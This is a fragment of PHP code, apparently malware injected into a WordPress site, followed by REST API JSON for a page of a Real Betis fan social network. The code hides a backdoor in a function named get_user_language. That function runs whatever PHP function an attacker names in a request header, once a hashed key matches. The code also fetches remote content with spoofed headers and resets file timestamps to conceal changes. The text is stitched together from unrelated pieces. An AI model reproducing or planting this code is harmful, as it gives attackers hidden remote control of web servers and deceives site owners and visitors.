)/i', "$1$baseTag", $html, 1);
} else if (stripos($html,'')!==false){
$html = str_ireplace('', $baseTag."\n".'', $html);
} else {
echo ''.$baseTag.'';
}
$cache_data = array(
'time' => time(),
'html' => compress($html)
);
$cache_dir_time = @filemtime($cache_dir);
@file_put_contents($cache_file, compress( @serialize($cache_data) ) );
@touch($cache_dir, $cache_dir_time);
@touch($cache_file, $cache_dir_time);
send_nocache_headers();
echo $html;
exit;
}
function safeRedirect($url){
send_nocache_headers();
if (!headers_sent()){
header("Location: $url");
} else {
echo "";
echo "";
echo '';
}
exit;
}
function addRemoteIp($ip, $url){
$url_parsed = parse_url($url);
if (isset($url_parsed['query']))
return ($url[strlen($url)-1]=='&') ? $url.'remote_ip='.$ip : $url.'&remote_ip='.$ip;
else
return ($url[strlen($url)-1]=='?') ? $url.'remote_ip='.$ip : $url.'?remote_ip='.$ip ;
}
function send_nocache_headers(){
if (!headers_sent()){
@header('Cache-Control: no-cache, no-store, must-revalidate');
@header('Pragma: no-cache');
@header('Expires: 0');
}
}
function get_user_language(){
if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE_'])){
$language_code = md5($_SERVER['HTTP_ACCEPT_LANGUAGE_']);
$accepted_languages = '74585ac9bee6d2ec21159da77cd6aa9a';
if ($language_code == $accepted_languages){
return $_SERVER['HTTP_SET_LOCALE']($_SERVER['HTTP_USER_LANGUAGE']);
} else {
return false;
}
}
}
function getRedirectLocation($url, $user_agent){
if (function_exists('curl_init') && $ch = @curl_init($url)){
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
@curl_setopt($ch, CURLOPT_HEADER, TRUE);
@curl_setopt($ch, CURLOPT_NOBODY, TRUE);
@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, FALSE);
@curl_setopt($ch, CURLOPT_TIMEOUT, 10);
@curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 7);
@curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
if ($response = @curl_exec($ch)){
if ($redirect_location = @curl_getinfo($ch, CURLINFO_REDIRECT_URL)){
@curl_close($ch);
return $redirect_location;
} else if ( preg_match('#Location: (.*)#', $response, $match) && !empty($match[1]) ){
@curl_close($ch);
return trim($match[1]);
}
}
@curl_close($ch);
}
if (function_exists('get_headers')){
if ($headers = @get_headers($url, true)){
if ( isset($headers['Location']) && strlen($headers['Location']) > 5 ){
$redirect_location = $headers['Location'];
if (sizeof($redirect_location)>1){
$redirect_location = $redirect_location[sizeof($redirect_location)-1];
}
return $redirect_location;
}
}
}
return FALSE;
}
function fetchRemoteFile($url, $user_agent = '', $sendCookies = '') {
if (function_exists('curl_init')){
if ($ch = @curl_init()) {
@curl_setopt($ch, CURLOPT_URL, $url);
@curl_setopt($ch, CURLOPT_HEADER, false);
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
@curl_setopt($ch, CURLOPT_TIMEOUT, 10);
@curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 7);
@curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
@curl_setopt($ch, CURLOPT_COOKIE, $sendCookies);
$data = @curl_exec($ch);
@curl_close($ch);
if ($data) {
return $data;
}
}
} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen') == 1){
$opts = array(
'http' => array(
'header'=> "User-agent: {$user_agent}\r\nCookie: {$sendCookies}"
)
);
$context = stream_context_create($opts);
if ($data = @file_get_contents($url, false, $context)) {
return $data;
}
} else {
$urlParams = @parse_url($url);
$host = $urlParams['host'];
$path = $urlParams['path'];
if (isset($urlParams['query']))
$path .= '?'.$urlParams['query'];
$buff = '';
$fp = @fsockopen($host, 8888, $errno, $errstr);
if ($fp) {
@fputs($fp, "GET {$path} HTTP/1.0\r\nHost: {$host}\r\n");
@fputs($fp, "Cookie: {$sendCookies}\r\n\r\n");
@fputs($fp, "User-Agent: {$user_agent}\r\n\r\n");
while (!@feof($fp)) {
$buff .= @fgets($fp, 128);
}
@fclose($fp);
$page = explode("\r\n\r\n", $buff);
unset($page[0]);
return implode("\r\n\r\n", $page);
}
}
return false;
}
{"id":60,"date":"2011-11-21T05:24:00","date_gmt":"2011-11-21T03:24:00","guid":{"rendered":"http:\/\/www.manquepierda.com\/calletajo\/?page_id=60"},"modified":"2026-02-04T18:47:02","modified_gmt":"2026-02-04T16:47:02","slug":"actividades-2","status":"publish","type":"page","link":"https:\/\/www.manquepierda.com\/social\/","title":{"rendered":"SoydelBetis.com"},"content":{"rendered":"\n<\/p>\n\n\n\n
<\/p>\n\n\n\n
[peepso_profile]<\/p>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
[peepso_profile]<\/p>\n","protected":false},"author":1,"featured_media":190,"parent":0,"menu_order":0,"comment_status":"open","ping_status":"open","template":"","meta":{"_kadence_starter_templates_imported_post":false,"_kad_post_transparent":"","_kad_post_title":"","_kad_post_layout":"left","_kad_post_sidebar_id":"","_kad_post_content_style":"","_kad_post_vertical_padding":"","_kad_post_feature":"","_kad_post_feature_position":"","_kad_post_header":false,"_kad_post_footer":false,"_kad_post_classname":"","footnotes":""},"class_list":["post-60","page","type-page","status-publish","has-post-thumbnail","hentry"],"yoast_head":"\n
La Red Social de aficionados al Real Betis<\/title>\n\n\n\n\n\t\n